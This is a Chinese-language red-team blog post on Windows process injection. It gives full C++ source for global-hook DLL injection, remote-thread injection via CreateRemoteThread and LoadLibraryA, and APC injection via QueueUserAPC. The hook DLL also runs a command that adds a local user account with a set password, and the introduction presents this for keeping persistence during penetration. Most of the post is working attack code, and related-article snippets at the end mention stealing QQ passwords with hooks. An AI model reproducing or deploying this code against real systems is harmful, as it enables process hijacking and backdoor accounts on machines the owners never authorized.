<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    紅隊 | Windows注入的一些方式

    VSole2021-07-24 16:08:18

    在滲透過程中有時候為了權限維持或者其他等一些操作,比如以前的搜狗輸入法可以替換dll文件當用戶切換輸入法就會去加載我們替換的dll文件,dll文件可以自己編寫一些net user或者其他的一些方法,也可以通過msf等來生成dll文件進行替換。

    0x01 Global hook Inject

    windows中一般應用都是通過消息機制的,操作系統提高了鉤子,他的作用就是用來截獲和監視系統的這些消息。

    局部鉤子:針對某個線程的。 全局鉤子:針對整個系統基于消息的應用。該鉤子需要dll文件,在dll中實現對應的鉤子函數。

    使用SetWindowsHookEx安裝WH_GETMESSAGE類型的鉤子,并且鉤子進程函數在一個 DLL 中,則該 DLL 可以實現全局注入

    注:WH_GETMESSAGE用來鉤PostMessage消息。

    SetWindowsHookEx:

    HHOOK WINAPI SetWindowsHookEx(
      _In_ int idHook,
      _In_ HOOKPROC lpfn,
      _In_ HINSTANCE hMod,
      _In_ DWORD dwThreadId
    );
    idHook:鉤子的類型
    lpfn:指向鉤子程序的指針,鉤子過程函數。
    hMod:dll函數模塊句柄,DllMain的第一個參數
    dwThreadId:hook程序關聯的線程的ID。如果為0表示與系統關聯的所有進程
    

    如果函數執行成功則返回的是鉤子過程的句柄。反之如果執行失敗返回NULL。

    DLL實現代碼:

    // dllmain.cpp : 定義 DLL 應用程序的入口點。
    #include "pch.h"
    #include 
    HHOOK g_hHook;
    HMODULE g_hModule;
    LRESULT CALLBACK GetMsgProc(
        _In_ int    code,
        _In_ WPARAM wParam,
        _In_ LPARAM lParam
    )
    {
        return CallNextHookEx(g_hHook, code, wParam, lParam);
    }
    BOOL LoadHook(void) {
        g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hModule, 0);
        if (g_hHook) {
            WinExec("net user aspnet '1qaz@WSX' /add", SW_NORMAL);
            MessageBox(NULL, TEXT("load successfully"), TEXT("title"), MB_OK);
            return TRUE;
        }
        else {
            return FALSE;
        }
    }
    VOID UnloadHook(void)
    {
        if (g_hHook)
            UnhookWindowsHookEx(g_hHook);
    }
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
            g_hModule = hModule;
            MessageBox(NULL, TEXT("loading"), TEXT("title"), MB_OK);
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    

    DLL的實現過程:

    1.設置鉤子
    2.取消鉤子
    3.鉤子程序的函數
    4.導出相關功能
    

    鉤子的回調函數:

    LRESULT CALLBACK GetMsgProc(
        _In_ int    code,
        _In_ WPARAM wParam,
        _In_ LPARAM lParam
    )
    {
        return CallNextHookEx(g_hHook, code, wParam, lParam);
    }
    

    回調函數的參數和返回值都是固定的,CallNextHookEx函數表示將當前鉤子傳遞給鉤子鏈的笑一個鉤子,第一個參數指定的就是當前鉤子的句柄g_hHook

    添加.def文件:

    LIBRARY
    EXPORTS
    LoadHook
    UnloadHook
    

    dll是無法自己去啟動的,需要一個程序來加載它。

    調用程序:

    #include 
    #include 
    int main()
    {
        HMODULE hModule = LoadLibraryA("Dll.dll");
        if (hModule == NULL)
            return 0;
        FARPROC pfnLoadHook = GetProcAddress(hModule, "LoadHook");
        FARPROC pfnUnloadHook = GetProcAddress(hModule, "UnloadHook");
        if (pfnLoadHook == NULL || pfnUnloadHook == NULL)
            return 0;
        if (pfnLoadHook())
            printf("load successfull");
        else {
            printf("load failed");
            return 0;
        }
        printf("Press any key to unload global hook");
        getchar();
        pfnUnloadHook();
        printf("uninstall successfull");
        return 0;
    }
    

    0x02 remote injection Dll

    遠線程注入是指一個進程在另外一個進程中創建線程的技術。

    OpenProcess:

    HANDLE OpenProcess(
      DWORD dwDesiredAccess,
      BOOL  bInheritHandle,
      DWORD dwProcessId
    );
    1.dwDesiredAccess該參數可以是一個或多個 進程訪問權限。
    2.如果此值為 TRUE,則此進程創建的進程將繼承句柄。否則,進程不會繼承這個句柄。
    3.要打開的本地進程的PID
    

    第一個參數具體可以查看[進程訪問權限]:

    https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights

    VirtualAllocEx:

    LPVOID VirtualAllocEx(
      HANDLE hProcess,
      LPVOID lpAddress,
      SIZE_T dwSize,
      DWORD  flAllocationType,
      DWORD  flProtect
    );
    1.hProcess:進程的句柄。該函數在該進程的虛擬地址空間內分配內存。
    2.lpAddress:為要分配的頁面區域指定所需起始地址的指針,如果lpAddress為NULL,則該函數確定分配區域的位置。
    3.dwSize:要分配的內存區域的大小,以字節為單位。
    4.flAllocationType:內存分配的類型。
    

    flAllocationType具體可以查看[flAllocationType]:https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex?f1url=%3FappId%3DDev16IDEF1%26l%3DZH-CN%26k%3Dk(MEMORYAPI%252FVirtualAllocEx);k(VirtualAllocEx);k(DevLang-C%252B%252B);k(TargetOS-Windows)%26rd%3Dtrue

    WriteProcessMemory:

    BOOL WriteProcessMemory(
      HANDLE  hProcess,
      LPVOID  lpBaseAddress,
      LPCVOID lpBuffer,
      SIZE_T  nSize,
      SIZE_T  *lpNumberOfBytesWritten
    );
    1.hProcess:要修改的進程內存的句柄。句柄必須具有對進程的 PROCESS_VM_WRITE 和 PROCESS_VM_OPERATION 訪問權限。
    2.lpBaseAddress:指向指定進程中寫入數據的基地址的指針。
    3.lpBuffer:指向包含要寫入指定進程地址空間的數據的緩沖區的指針。
    4.nSize:要寫入指定進程的字節數。
    5.lpNumberOfBytesWritten:一個指向接收傳輸到指定進程的字節數的變量的指針。該參數是可選的。如果lpNumberOfBytesWritten為NULL,則忽略該參數。
    

    CreateRemoteThread:

    HANDLE CreateRemoteThread(
      HANDLE                 hProcess,
      LPSECURITY_ATTRIBUTES  lpThreadAttributes,
      SIZE_T                 dwStackSize,
      LPTHREAD_START_ROUTINE lpStartAddress,
      LPVOID                 lpParameter,
      DWORD                  dwCreationFlags,
      LPDWORD                lpThreadId
    );
    1.hProcess:要在其中創建線程的進程的句柄。
    2.lpThreadAttributes:指向SECURITY_ATTRIBUTES結構的指針,該 結構為新線程指定安全描述符并確定子進程是否可以繼承返回的句柄。
    3.dwStackSize:堆棧的初始大小,以字節為單位。
    4.lpStartAddress:指向要由線程執行的LPTHREAD_START_ROUTINE 類型的應用程序定義函數的指針,表示遠程進程中線程的起始地址。該函數必須存在于遠程進程中。
    5.lpParameter:指向要傳遞給線程函數的變量的指針。
    6.dwCreationFlags:控制線程創建的標志。該值如果是0,線程在創建后立即運行。
    7.lpThreadId:指向接收線程標識符的變量的指針。
    

    程序代碼:

    #include 
    #include 
    #include 
    #include 
    BOOL InjectDll(const char* szDllPath, int rProcessId) {
        HANDLE hProcess = NULL;
        LPVOID pDllAddr = NULL;
        FARPROC pfnStartAddr = NULL;
        HANDLE hRemoteThread = NULL;
        //打開進程
        hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, rProcessId);
        if (hProcess == INVALID_HANDLE_VALUE) {
            return FALSE;
        }
        //在要注入的進程中申請內存
        pDllAddr = VirtualAllocEx(hProcess, NULL, strlen(szDllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
        if (!pDllAddr)
        {
            return FALSE;
        }
        //給要注入的進程中寫入數據
        WriteProcessMemory(hProcess, pDllAddr, szDllPath, strlen(szDllPath) + 1, NULL);
        
        //獲取LoadLibraryA函數的地址
        pfnStartAddr = GetProcAddress(::GetModuleHandle("Kernel32"), "LoadLibraryA");
        //使用CreateRemoteThread創建遠線程,注入DLL
        if ((hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pfnStartAddr, pDllAddr, 0, NULL)) == NULL)
        {
            std::cout << "Injecting thread failed!" << std::endl;
            return FALSE;
        }
        /*CloseHandle(hProcess);
        CloseHandle(hRemoteThread);*/
        
        return TRUE;
    }
    int GetProcessID(const char* szProcessNames) {
        int iRet = -1;
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(PROCESSENTRY32);
        HANDLE hTool32 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
        BOOL bProcess = Process32First(hTool32, &pe32);
        if (bProcess == TRUE)
        {
            while ((Process32Next(hTool32, &pe32)) == TRUE)
            {
                if (strcmp(pe32.szExeFile, szProcessNames) == 0)
                {
                    iRet = pe32.th32ProcessID;
                    break;
                }
            }
        }
        return iRet;
    }
    int main() {
        int rProcessId = GetProcessID("Demo.exe");
        printf("%d",rProcessId);
        if (rProcessId > 0) {
            InjectDll("F:\\Dll.dll", rProcessId);
        }
        return 0;
    }
    

    通過Process Monistor查看成功注入了dll文件

    0x03 APC Inject

    ?線程在進程內執行代碼

    ?線程可以利用 APC 隊列異步執行代碼

    ?每個線程都有一個隊列來存儲所有的 APC

    ?應用程序可以將 APC 排隊到給定的線程(取決于權限)

    ?當一個線程被調度時,排隊的 APC 被執行

    APC就是為異步過程調用。

    APC注入的一般幾個步驟:

    ?首先通過OpenProcess函數打開目標進程,獲取目標進程的句柄。

    ?然后,通過調用WIN32 API函數CreateToolhelp32Snapshot、Thread32First和Thread32Next,遍歷線程快照,獲取目標進程的所有線程ID。

    ?然后調用VirtualAllocEx函數在目標進程中申請一塊內存,通過WriteProcessMemory函數將注入的DLL路徑寫入內存。

    ?最后遍歷上面得到的線程ID,調用OpenThread函數打開具有THREAD_ALL_ACCESS訪問權限的線程,獲取線程句柄。并調用QueueUserAPC函數將APC函數插入線程,將APC函數的地址設置為LoadLibraryA函數的地址,將APC函數參數設置為上述DLL路徑地址。

    ?只要目標進程中的任何一個線程被喚醒,就會執行APC來完成DLL注入操作

    每一個線程都有自己的APC隊列,使用QueueUserAPC函數把一個APC函數壓入APC隊列中。

    QueueUserAPC:

    DWORD QueueUserAPC(
      PAPCFUNC  pfnAPC,
      HANDLE    hThread,
      ULONG_PTR dwData
    );
    1.pfnPAC:表示要執行的函數的地址,指向應用程序提供的 APC 函數的指針,當指定的線程執行可警報的等待操作時將調用該函數。
    2.hThread:線程的句柄。句柄必須具有THREAD_SET_CONTEXT訪問權限。
    3.dwData:傳遞給pfnAPC參數指向的 APC 函數的單個值。
    

    實現代碼:

    #include 
    #include
    // 根據進程名稱獲取PID
    DWORD GetProcessPID(const char* pszProcessName)
    {
        DWORD dwProcessId = 0;
        PROCESSENTRY32 pe32 = { 0 };
        HANDLE hSnapshot = NULL;
        BOOL bRet = FALSE;
        ::RtlZeroMemory(&pe32, sizeof(pe32));
        pe32.dwSize = sizeof(pe32);
        // 獲取進程快照
        hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (NULL == hSnapshot)
        {
            MessageBox(NULL, "CreateToolhelp32Snapshot error", "TITLE", MB_OK);
            return dwProcessId;
        }
        // 獲取第一條進程快照信息
        bRet = ::Process32First(hSnapshot, &pe32);
        while (bRet)
        {
            // 獲取快照信息
            if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))
            {
                dwProcessId = pe32.th32ProcessID;
                break;
            }
            // 遍歷下一個進程快照信息
            bRet = ::Process32Next(hSnapshot, &pe32);
        }
        return dwProcessId;
    }
    // 根據PID獲取所有的相應線程ID
    BOOL GetThreadID(DWORD dwProcessId, DWORD** ppThreadId, DWORD* pdwThreadIdLength)
    {
        DWORD* pThreadId = NULL;
        DWORD dwThreadIdLength = 0;
        DWORD dwBufferLength = 1000;
        THREADENTRY32 te32 = { 0 };
        HANDLE hSnapshot = NULL;
        BOOL bRet = TRUE;
        do
        {
            // 申請內存
            pThreadId = new DWORD[dwBufferLength];
            if (NULL == pThreadId)
            {
                MessageBox(NULL, "申請內存 error", "TITLE", MB_OK);
                bRet = FALSE;
                break;
            }
            ::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));
            // 獲取線程快照
            ::RtlZeroMemory(&te32, sizeof(te32));
            te32.dwSize = sizeof(te32);
            hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
            if (NULL == hSnapshot)
            {
                MessageBox(NULL, "CreateToolhelp32Snapshot error", "TITLE", MB_OK);
                bRet = FALSE;
                break;
            }
            // 獲取第一條線程快照信息
            bRet = ::Thread32First(hSnapshot, &te32);
            while (bRet)
            {
                // 獲取進程對應的線程ID
                if (te32.th32OwnerProcessID == dwProcessId)
                {
                    pThreadId[dwThreadIdLength] = te32.th32ThreadID;
                    dwThreadIdLength++;
                }
                // 遍歷下一個線程快照信息
                bRet = ::Thread32Next(hSnapshot, &te32);
            }
            // 返回
            *ppThreadId = pThreadId;
            *pdwThreadIdLength = dwThreadIdLength;
            bRet = TRUE;
        } while (FALSE);
        if (FALSE == bRet)
        {
            if (pThreadId)
            {
                delete[]pThreadId;
                pThreadId = NULL;
            }
        }
        return bRet;
    }
    // APC注入
    BOOL ApcInjectDll(const char* pszProcessName,const char* pszDllName)
    {
        BOOL bRet = FALSE;
        DWORD dwProcessId = 0;
        DWORD* pThreadId = NULL;
        DWORD dwThreadIdLength = 0;
        HANDLE hProcess = NULL, hThread = NULL;
        PVOID pBaseAddress = NULL;
        PVOID pLoadLibraryAFunc = NULL;
        SIZE_T dwRet = 0, dwDllPathLen = 1 + ::lstrlen(pszDllName);
        DWORD i = 0;
        do
        {
            // 根據進程名稱獲取PID
            dwProcessId = GetProcessPID(pszProcessName);
            if (0 >= dwProcessId)
            {
                bRet = FALSE;
                break;
            }
            // 根據PID獲取所有的相應線程ID
            bRet = GetThreadID(dwProcessId, &pThreadId, &dwThreadIdLength);
            if (FALSE == bRet)
            {
                bRet = FALSE;
                break;
            }
            // 打開注入進程
            hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
            if (NULL == hProcess)
            {
                MessageBox(NULL, "OpenProcess error", "TITLE", MB_OK);
                bRet = FALSE;
                break;
            }
            // 在注入進程空間申請內存
            pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            if (NULL == pBaseAddress)
            {
                MessageBox(NULL, "VirtualAllocEx error", "TITLE", MB_OK);
                bRet = FALSE;
                break;
            }
            // 向申請的空間中寫入DLL路徑數據 
            ::WriteProcessMemory(hProcess, pBaseAddress, pszDllName, dwDllPathLen, &dwRet);
            if (dwRet != dwDllPathLen)
            {
                MessageBox(NULL, "WriteProcessMemory error", "TITLE", MB_OK);
                bRet = FALSE;
                break;
            }
            // 獲取 LoadLibrary 地址
            pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
            if (NULL == pLoadLibraryAFunc)
            {
                MessageBox(NULL, "GetProcAddress error", "TITLE", MB_OK);
                bRet = FALSE;
                break;
            }
            // 遍歷線程, 插入APC
            i = dwThreadIdLength;
            for (; i > 0; --i)
            {
                // 打開線程
                hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
                if (hThread)
                {
                    // 插入APC
                    ::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
                    // 關閉線程句柄
                    ::CloseHandle(hThread);
                    hThread = NULL;
                }
            }
            bRet = TRUE;
        } while (FALSE);
        // 釋放內存
        if (hProcess)
        {
            ::CloseHandle(hProcess);
            hProcess = NULL;
        }
        if (pThreadId)
        {
            delete[]pThreadId;
            pThreadId = NULL;
        }
        return bRet;
    }
    int main() {
        ApcInjectDll("Demo.exe", "F:\\Dll.dll");
        return 0;
    }
    

    鉤子程序dll注入
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Dll注入
    2021-11-08 14:57:41
    最近太忙啦XDM,又在做一些列的分析復現工作量有點大,更新要慢一點了。一致,也不會覆蓋其他的進程信息。
    Windows注入的一些方式
    初探DLL注入
    2023-02-06 10:35:24
    DLL注入是指向運行中的其它進程強制插入特定的DLL文件。從技術細節來說,DLL注入命令其它進程自行調用LoadLibrary()API,加載用戶指定的DLL文件。從上圖可以看到,test.dll已被強制插入進程。加載到某一進程中的test.dll與已經加載到某一進程中的dll一樣,擁有訪問notepad.exe進程內存的權限。DLL被加載到進程后會自動運行DLLMain()函數,用戶可以把想執行的代碼放到DLLMain()函數,每當加載DLL時,添加的代碼就會得到執行。利用這種特性可以修復程序Bug以及添加新功能
    程序是指令、數據及其組織形式的描述,進程是程序的實體。在進程中當EXE模塊調用CreateFile()函數的時候,會去調用kernel32.dll模塊中的CreateFile()函數,因為真正的CreateFile()函數的實現在kernel32.dll模塊中。
    在Windows大部分應用都是基于消息機制,他們都擁有一個消息過程函數,根據不同消息完成不同功能,windows通過鉤子機制來截獲和監視系統中的這些消息。一般鉤子分局部鉤子與全局鉤子,局部鉤子一般用于某個線程,而全局鉤子一般通過dll文件實現相應的鉤子函數。
    全局鉤子注入在Windows大部分應用都是基于消息機制,他們都擁有一個消息過程函數,根據不同消息完成不同功能,windows通過鉤子機制來截獲和監視系統中的這些消息。一般鉤子分局部鉤子與全局鉤子,局部鉤子一般用于某個線程,而全局鉤子一般通過dll文件實現相應的鉤子函數。
    全局鉤子注入-獲取QQ密碼實現 全局鉤子注入-獲取QQ密碼實現 水一篇????? SetWindowsHookExA 將應用程序定義的掛鉤過程安裝到掛鉤鏈中。您將安裝一個掛鉤程序來監視系統中某些類型的事件。這些事件與特定線程或與調用線程相同的桌面中的所有線程相關聯。
    簡介這次實驗是在WIN7 X86系統上進程,使用的編譯器是VS2017。所謂的DLL注入,其實就是在其他的進程中把我們編寫的DLL加載進去。所以DLL注入的核心就是把要注入DLL的路徑寫到目標進程中,然后在目標進程中調用LoadLibrary函數,并且指定參數為保存了DLL路徑的地址。要實現DLL注入,首先就要創建一個用來注入DLL
    代碼框架 想法是盡量用一個通用的注入框架,有異常接收,令牌權限開啟,獲取進程PID的功能
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类